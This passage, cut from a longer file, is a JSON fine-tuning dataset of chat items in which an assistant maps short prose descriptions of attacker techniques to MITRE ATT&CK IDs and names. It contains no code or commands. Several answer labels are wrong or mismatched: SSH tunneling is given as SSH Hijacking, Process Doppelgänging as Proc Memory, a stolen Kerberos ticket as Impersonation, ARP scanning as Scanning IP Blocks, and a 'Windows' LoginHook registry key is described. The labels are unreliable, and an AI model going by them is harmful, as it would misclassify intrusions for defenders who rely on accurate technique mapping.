                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Application Compatibility Toolkit to craft a shim that redirects a legitimate process to execute a harmful DLL, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By attaching to the Securityd process, the malware pulls credential data from the password store held in memory."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Windows shortcut (.lnk) file is delivered via a compromised website; when the user clicks it, a hidden executable runs."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses ARP scanning on the Wi‑Fi network to discover connected devices."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent threat modifies the user's Outlook rules to delete all security alert emails, ensuring the victim remains uninformed of compromises."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the default container orchestrator API that lacks authentication to download stored secrets for container registries."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies an existing launch agent plist to execute a hidden payload during system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker purchases a domain name that mimics a popular cloud service provider."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a PowerShell command that iterates over every file, overwriting each with random bytes before deletion."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilizes Maltego to map relationships between domain names, IP addresses, and email accounts."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor writes stolen documents to a new subfolder under C:\\Users\\Public\\Temp for later upload."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a batch file and registers it in the LoginHook registry key, ensuring execution during the Windows logon process."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the crontab of the root user to run a data‑stealing binary that pushes files to a malicious Azure Blob storage."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor corrupts the BCD (Boot Configuration Data) store, causing the OS to fail to boot and rendering recovery impossible."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command and control communications are obscured by a domain whose DNS A records are constantly refreshed to point to different compromised devices."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a stolen Kerberos ticket to impersonate a domain administrator and access privileged resources."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses the Thread Local Storage injection method: it writes shellcode to a TLS slot and hijacks a legitimate thread to run the code."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the post‑exploitation phase, the malware executed a stripped executable that omitted version resources and manifest data to avoid sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a pam_script module that runs a hidden script during authentication, which exfiltrates passwords to an external server."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the macro code of Office documents to hide malicious behavior, without creating new files."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages search engines to locate exposed configuration files in publicly available source code."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor injects an obfuscated script into a public forum post, which later spawns a drive-by download for visitors."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers an Excel file that, upon opening, exploits DDE to execute a command line that disables security tools."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a compromised domain to host a malicious JavaScript loader that delivers ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom PowerShell script to transfer a ransomware payload to the victim's file share."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware tool on macOS targets the login.keychain file to extract saved application passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the xattr command to add a malicious resource fork to an existing executable on a macOS system."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages search order hijacking by creating a malicious version of a required tool in a directory that the operating system checks before the legitimate tool’s location."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a legitimate cloud storage service to upload a malicious container image for later deployment."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a remote access tool that includes a \"record video\" command, which activates the target's webcam for a configurable duration."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scrapes Microsoft Teams chat logs to collect API keys and login credentials posted by developers."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor reuses compromised service account passwords to gain persistent access to a Windows domain controller."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script enumerated all .mbox files in the user's home directory and uploaded them to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages Python's urllib library to download additional malicious binaries from the internet."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a web application by inserting template directives that allow them to run OS commands during page rendering."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the abuse of a service account's NTLM hash, the intruder fabricated a Kerberos ticket to access the SQL database server without detection."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes staging stolen source code in a zip file within a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder extracts group information from the registry key HKLM\\SAM\\Domains\\Builtin."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ traffic duplication to send copies of victim's network communications to an attacker-controlled IP address."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulating the SELinux policy to allow a low‑privilege process to perform privileged actions."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the host's system image by embedding a backdoor into the boot sector during a scheduled patch."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group transfers encrypted files to a Microsoft OneDrive storage location they control."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor places a crafted shortcut file in a common directory, which runs a payload when a user double‑clicks any file in that folder, leveraging an event‑triggered trap."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged launchctl unload to disable legitimate security services before installing a backdoor via a new launch agent."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining system privileges, the malware injected a malicious DLL into the explorer.exe process using SetThreadContext and ResumeThread to execute its payload."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a legitimate Windows executable in a suspended state, then unmaps its memory sections and writes its own malicious payload before resuming the process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary imposes strict size constraints on data exfiltration to blend with normal traffic patterns."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests credentials from the Windows Credential Store by invoking the CredEnumerate API."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the public IP via 'https://api.ipify.org' and logs the result for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware copies browser history and keylogs onto a connected flash drive for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group utilizes Process Doppelgänger by creating a copy of a legitimate process and then injecting their payload into its memory."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team creates hidden files with the 'hidden' attribute set on NTFS volumes to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors edit the Service DLL path in the registry to hijack an existing legitimate service for code execution."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers impersonate a senior executive in an internal email, requesting sensitive data from subordinate staff with a malicious link attached."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is placed as a password filter, allowing the attacker to record credentials during each login attempt."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit kit delivered through a compromised web server targets vulnerable browsers, resulting in initial access."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan monitors the system clock and only activates its malicious functions after midnight, exploiting the fact that many sandbox environments run only during business hours."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used PowerShell to mount a network share and transfer database backups to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the actor runs a command to display attached external devices, discovering connected external hard drives for data staging."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider changes the file permissions of a software setup executable to be world-writable, then injects a backdoor that is executed during the installation process."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used compromised service account credentials to modify Azure AD Connect settings, disabling multi‑factor authentication for synced accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators physically remove a laptop's hard drive and transfer data using a USB 3.0 adapter."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a malicious PowerShell module that communicates with WinRM to spawn a remote session on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan on macOS reads the Keychain to collect stored credentials for popular cloud services."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries a domain name to retrieve a malicious DLL, which is then loaded at runtime."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the icacls utility to add read/write permissions for the Administrators group on a protected system file."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake screenshot PNG containing hidden shellcode is shared on a messaging platform; when the image is previewed, the embedded payload is extracted and executed via a zero‑day exploit."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group uses SSH tunneling to hop between Linux servers within the environment."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies sensitive files and posts them to a public paste service via a scripted HTTP request to exfiltrate data without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploited a vulnerable serverless endpoint in Oracle Functions to execute PowerShell commands that scraped configuration data from the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves clearing the \"Zone.Identifier\" ADS on a malicious batch file to subvert Windows trust controls and avoid the Mark-of-the-Web block."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor implements a persistent script that aggregates system information every 30 minutes for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed by invoking mmc.exe with a crafted module, allowing execution of arbitrary commands without directly calling the payload binary."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the SharePoint REST endpoint to list and retrieve files from the organization's intranet document repository."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the malware queries the DHCP server's lease database to list assigned IP addresses and associated MAC addresses, outlining the network map."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate data in stages, first moving files to a staging server within the internal network before sending them out."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
